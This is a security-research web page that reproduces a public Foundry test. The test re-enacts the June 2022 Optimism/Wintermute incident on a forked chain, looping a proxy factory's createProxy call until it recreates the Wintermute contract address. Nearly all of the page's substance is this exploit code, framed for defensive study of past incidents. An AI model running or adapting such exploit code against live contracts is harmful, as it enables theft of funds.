Skip to content
THREATWIRE

Public reproduction file

src/test/2022-06/Optimism_exp.sol

Public reproduction file for dataset entry Optimism.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-06/Optimism_exp.sol26 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7interface ProxyFactory {
8 function createProxy(address masterCopy, bytes calldata data) external returns (address payable proxy);
9}
11contract ContractTest is Test {
12 ProxyFactory proxy = ProxyFactory(0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B);
13 address public childcontract;
14 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
16 function setUp() public {
17 cheats.createSelectFork("optimism", 10_607_735); //fork optimism at block 10607735
18 }
20 function testExploit() public {
21 while (childcontract != 0x4f3a120E72C76c22ae802D129F599BFDbc31cb81) {
22 childcontract = proxy.createProxy(0xE7145dd6287AE53326347f3A6694fCf2954bcD8A, "0x");
23 emit log_named_address("Created Wintermute contract", childcontract);
24 }
25 }

Analysis

Dataset entry

Public Foundry test for “Optimism” (2022-06-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

6 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
Optimism
Path
src/test/2022-06/Optimism_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
da689c86f6b954246d3ed5b635219fdbae8a6656
Language
Solidity
Size
27 lines
Date
2022-06-08
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-06/Optimism_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob da689c86f6b954246d3ed5b635219fdbae8a6656, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.